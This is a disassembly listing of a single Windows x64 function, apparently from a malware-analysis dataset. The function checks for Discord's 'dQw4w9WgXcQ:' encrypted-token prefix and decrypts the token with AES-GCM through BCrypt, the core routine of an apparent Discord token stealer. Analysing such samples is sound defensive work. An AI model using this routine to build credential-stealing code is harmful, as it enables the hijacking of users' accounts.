Function at 0x14017cde0
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x698
lea rdi, [rsp + 0x50]
mov ecx, 0x192
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6b0]
mov rax, qword [0x1401db040]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov rcx, qword [rsp + 0x6c0]
call fcn.14000a2b0
movzx eax, al
test eax, eax
je 0x14017cee7
lea rcx, [rsp + 0x378]
call fcn.140004010
mov qword [rsp + 0x590], rax
mov byte [rsp + 0x364], 0
lea rax, [rsp + 0x365]
mov r8, rax
lea rdx, [rsp + 0x364]
lea rcx, [rsp + 0x380]
call fcn.140014290
lea rcx, [rsp + 0x390]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x560]
lea rcx, [rsp + 0x390]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x590]
lea rdx, [rsp + 0x560]
mov rcx, qword [rsp + 0x6b8]
call fcn.1400144a0
mov rcx, qword [rsp + 0x6c0]
call fcn.140002650
nop
mov rax, qword [rsp + 0x6b8]
jmp 0x14017da98
mov r9d, 0xc
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x6c0]
call fcn.14000a1d0
lea rdx, str.dQw4w9WgXcQ:
mov rcx, rax
call fcn.14000cff0
movzx eax, al
test eax, eax
jne 0x14017cf25
mov dword [rsp + 0x598], 1
jmp 0x14017cf30
mov dword [rsp + 0x598], 0
movzx eax, byte [rsp + 0x598]
mov byte [rsp + 0x3a0], al
lea rcx, [rsp + 0x50]
call fcn.140002650
movzx eax, byte [rsp + 0x3a0]
test eax, eax
je 0x14017cf84
mov rdx, qword [rsp + 0x6c0]
mov rcx, qword [rsp + 0x6b8]
call fcn.14000a4c0
mov rcx, qword [rsp + 0x6c0]
call fcn.140002650
mov rax, qword [rsp + 0x6b8]
jmp 0x14017da98
mov rax, qword [rsp + 0x6c8]
cmp dword [rax], 0
jne 0x14017d03c
lea rcx, [rsp + 0x3a1]
call fcn.140004010
mov qword [rsp + 0x5a0], rax
mov byte [rsp + 0x366], 0
lea rax, [rsp + 0x367]
mov r8, rax
lea rdx, [rsp + 0x366]
lea rcx, [rsp + 0x3a8]
call fcn.140014290
lea rcx, [rsp + 0x3b8]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x570]
lea rcx, [rsp + 0x3b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x5a0]
lea rdx, [rsp + 0x570]
mov rcx, qword [rsp + 0x6b8]
call fcn.1400144a0
mov rcx, qword [rsp + 0x6c0]
call fcn.140002650
nop
mov rax, qword [rsp + 0x6b8]
jmp 0x14017da98
mov r9, 0xffffffffffffffff
mov r8d, 0xc
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x6c0]
call fcn.14000a1d0
nop
mov edx, 0x20
lea rcx, [rsp + 0xc8]
call fcn.140011670
lea rax, [rsp + 0x3c8]
mov qword [rsp + 0x3f0], rax
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x3f0]
call fcn.1400027c0
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.140185820
nop
lea rcx, [rsp + 0x3f8]
call fcn.140004010
mov qword [rsp + 0x5a8], rax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x418], rax
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0xc8]
call fcn.140013260
mov qword [rsp + 0x5b0], rax
mov r8d, 0xf
mov rdx, qword [rsp + 0x418]
mov rcx, qword [rsp + 0x5b0]
call fcn.140042d90
mov qword [rsp + 0x5b8], rax
lea rax, [rsp + 0x438]
mov qword [rsp + 0x450], rax
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0xc8]
call fcn.140013260
mov qword [rsp + 0x5c0], rax
mov r8d, 3
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x5c0]
call fcn.140042d90
mov qword [rsp + 0x5c8], rax
mov r9, qword [rsp + 0x5a8]
mov r8, qword [rsp + 0x5b8]
mov rdx, qword [rsp + 0x5c8]
lea rcx, [rsp + 0x108]
call fcn.140018f90
lea rcx, [rsp + 0x458]
call fcn.140011690
lea rcx, [rsp + 0x420]
call fcn.140011690
nop
mov edx, 0x20
lea rcx, [rsp + 0x148]
call fcn.140011670
lea rcx, [rsp + 0x470]
call fcn.1400133f0
mov qword [rsp + 0x5d0], rax
lea rax, [rsp + 0x478]
mov qword [rsp + 0x490], rax
mov rdx, qword [rsp + 0x490]
lea rcx, [rsp + 0xc8]
call fcn.1400131c0
mov qword [rsp + 0x5d8], rax
lea rax, [rsp + 0x498]
mov qword [rsp + 0x4b0], rax
lea rdx, [rsp + 0x4b8]
lea rcx, [rsp + 0xc8]
call fcn.140013260
mov qword [rsp + 0x5e0], rax
mov r8d, 0xf
mov rdx, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0x5e0]
call fcn.140042d90
mov qword [rsp + 0x5e8], rax
mov r9, qword [rsp + 0x5d0]
mov r8, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5e8]
lea rcx, [rsp + 0x148]
call fcn.140044e60
lea rcx, [rsp + 0x4b8]
call fcn.140011690
nop
lea rcx, [rsp + 0x148]
call fcn.140013190
mov dword [rsp + 0x174], eax
lea rcx, [rsp + 0x148]
call fcn.140013190
mov dword [rsp + 0x178], eax
jmp 0x14017d2ad
mov eax, dword [rsp + 0x178]
inc eax
mov dword [rsp + 0x178], eax
cmp dword [rsp + 0x178], 0x100
jge 0x14017d2da
mov byte [rsp + 0x4d0], 0
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x148]
call fcn.1400132c0
nop
jmp 0x14017d29d
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x1a8], 0
lea rax, [rsp + 0x1c8]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov dword [rsp + 0x1f4], 0
mov dword [rsp + 0x214], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140198930]
lea rcx, [rsp + 0x188]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 0
jge 0x14017d34d
jmp 0x14017d80f
mov dword [rsp + 0x20], 0
mov r9d, 0x20
lea r8, str.ChainingModeGCM
lea rdx, str.ChainingMode
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.bcrypt.dll_BCryptSetProperty]
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 0
jge 0x14017d38d
jmp 0x14017d80f
mov dword [rsp + 0x28], 0
lea rax, [rsp + 0x214]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
lea r8, [rsp + 0x1c8]
lea rdx, str.AuthTagLength
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.bcrypt.dll_BCryptGetProperty]
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 0
jge 0x14017d3db
jmp 0x14017d80f
mov dword [rsp + 0x28], 0
lea rax, [rsp + 0x214]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x1f4]
lea rdx, str.BlockLength
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.bcrypt.dll_BCryptGetProperty]
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 0
jge 0x14017d429
jmp 0x14017d80f
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x6c8]
mov eax, dword [rax]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x6c8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1a8]
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 0
jge 0x14017d482
jmp 0x14017d80f
mov edx, 0x20
lea rcx, [rsp + 0x238]
call fcn.140011670
lea rcx, [rsp + 0x4d1]
call fcn.1400133f0
mov ecx, dword [rsp + 0x1cc]
mov r8, rax
mov edx, ecx
lea rcx, [rsp + 0x238]
call fcn.1400133a0
nop
mov edx, 0x20
lea rcx, [rsp + 0x278]
call fcn.140011670
lea rcx, [rsp + 0x4d2]
call fcn.1400133f0
mov ecx, dword [rsp + 0x1c8]
mov r8, rax
mov edx, ecx
lea rcx, [rsp + 0x278]
call fcn.1400133a0
nop
mov r8d, 0x58
xor edx, edx
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.VCRUNTIME140D.dll_memset]
mov dword [rsp + 0x2c0], 0x58
mov dword [rsp + 0x2c4], 1
lea rcx, [rsp + 0x108]
call fcn.140002630
mov qword [rsp + 0x2c8], rax
lea rcx, [rsp + 0x108]
call fcn.140002ac0
mov dword [rsp + 0x2d0], eax
xor edx, edx
lea rcx, [rsp + 0x278]
call fcn.1400130c0
mov qword [rsp + 0x2e8], rax
lea rcx, [rsp + 0x278]
call fcn.140013190
mov dword [rsp + 0x2f0], eax
xor edx, edx
lea rcx, [rsp + 0x238]
call fcn.1400130c0
mov qword [rsp + 0x2f8], rax
lea rcx, [rsp + 0x238]
call fcn.140013190
mov dword [rsp + 0x300], eax
mov edx, 0x20
lea rcx, [rsp + 0x338]
call fcn.140011670
lea rcx, [rsp + 0x4d3]
call fcn.1400133f0
mov qword [rsp + 0x5f0], rax
mov eax, dword [rsp + 0x1f4]
mov qword [rsp + 0x5f8], rax
mov r8, qword [rsp + 0x5f0]
mov rdx, qword [rsp + 0x5f8]
lea rcx, [rsp + 0x338]
call fcn.1400133a0
nop
mov dword [rsp + 0x310], 1
xor edx, edx
lea rcx, [rsp + 0x148]
call fcn.1400130c0
mov qword [rsp + 0x600], rax
lea rcx, [rsp + 0x338]
call fcn.140013190
mov dword [rsp + 0x608], eax
xor edx, edx
lea rcx, [rsp + 0x338]
call fcn.1400130c0
mov qword [rsp + 0x610], rax
xor edx, edx
lea rcx, [rsp + 0x148]
call fcn.1400130c0
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x620], rax
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x214]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x80
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x608]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x610]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2c0]
mov r8d, 0x80
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x620]
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 0
jge 0x14017d70b
lea rcx, [rsp + 0x338]
call fcn.1400132f0
lea rcx, [rsp + 0x278]
call fcn.1400132f0
lea rcx, [rsp + 0x238]
call fcn.1400132f0
nop
jmp 0x14017d80f
mov edx, 0x80
lea rcx, [rsp + 0x148]
call fcn.1400130c0
mov qword [rsp + 0x628], rax
lea rcx, [rsp + 0x338]
call fcn.140013190
mov dword [rsp + 0x630], eax
xor edx, edx
lea rcx, [rsp + 0x338]
call fcn.1400130c0
mov qword [rsp + 0x638], rax
mov edx, 0x80
lea rcx, [rsp + 0x148]
call fcn.1400130c0
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x648], rax
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x214]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x80
mov rax, qword [rsp + 0x628]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x630]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x638]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2c0]
mov r8d, 0x80
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rsp + 0x648]
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
mov dword [rsp + 0x17c], eax
lea rcx, [rsp + 0x338]
call fcn.1400132f0
lea rcx, [rsp + 0x278]
call fcn.1400132f0
lea rcx, [rsp + 0x238]
call fcn.1400132f0
nop
cmp qword [rsp + 0x188], 0
je 0x14017d82b
xor edx, edx
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
nop
cmp qword [rsp + 0x1a8], 0
je 0x14017d845
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
nop
mov eax, dword [rsp + 0x17c]
mov dword [rsp + 0x650], eax
cmp dword [rsp + 0x650], 0
je 0x14017d862
jmp 0x14017d97e
lea rcx, [rsp + 0x4d4]
call fcn.140004010
mov qword [rsp + 0x658], rax
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0x4f0], rax
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x148]
call fcn.140013260
mov qword [rsp + 0x660], rax
mov eax, dword [rsp + 0x174]
sub eax, 0x10
mov eax, eax
mov r8d, eax
mov rdx, qword [rsp + 0x4f0]
mov rcx, qword [rsp + 0x660]
call fcn.140042d90
mov qword [rsp + 0x668], rax
lea rax, [rsp + 0x510]
mov qword [rsp + 0x528], rax
mov rdx, qword [rsp + 0x528]
lea rcx, [rsp + 0x148]
call fcn.140013260
mov qword [rsp + 0x670], rax
mov r9, qword [rsp + 0x658]
mov r8, qword [rsp + 0x668]
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rsp + 0x6b8]
call fcn.140018f90
lea rcx, [rsp + 0x4f8]
call fcn.140011690
lea rcx, [rsp + 0x148]
call fcn.1400132f0
lea rcx, [rsp + 0x108]
call fcn.140002650
lea rcx, [rsp + 0xc8]
call fcn.1400132f0
lea rcx, [rsp + 0x88]
call fcn.140002650
mov rcx, qword [rsp + 0x6c0]
call fcn.140002650
nop
mov rax, qword [rsp + 0x6b8]
jmp 0x14017da98
lea rcx, [rsp + 0x530]
call fcn.140004010
mov qword [rsp + 0x678], rax
mov byte [rsp + 0x368], 0
lea rax, [rsp + 0x369]
mov r8, rax
lea rdx, [rsp + 0x368]
lea rcx, [rsp + 0x538]
call fcn.140014290
lea rcx, [rsp + 0x548]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x580]
lea rcx, [rsp + 0x548]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x678]
lea rdx, [rsp + 0x580]
mov rcx, qword [rsp + 0x6b8]
call fcn.1400144a0
lea rcx, [rsp + 0x148]
call fcn.1400132f0
lea rcx, [rsp + 0x108]
call fcn.140002650
lea rcx, [rsp + 0xc8]
call fcn.1400132f0
lea rcx, [rsp + 0x88]
call fcn.140002650
mov rcx, qword [rsp + 0x6c0]
call fcn.140002650
nop
mov rax, qword [rsp + 0x6b8]
jmp 0x14017da98
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1401ae5b0]
call fcn.140185b40
mov rax, rdi
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140061a30
add rsp, 0x698
pop rdi
pop rsi
ret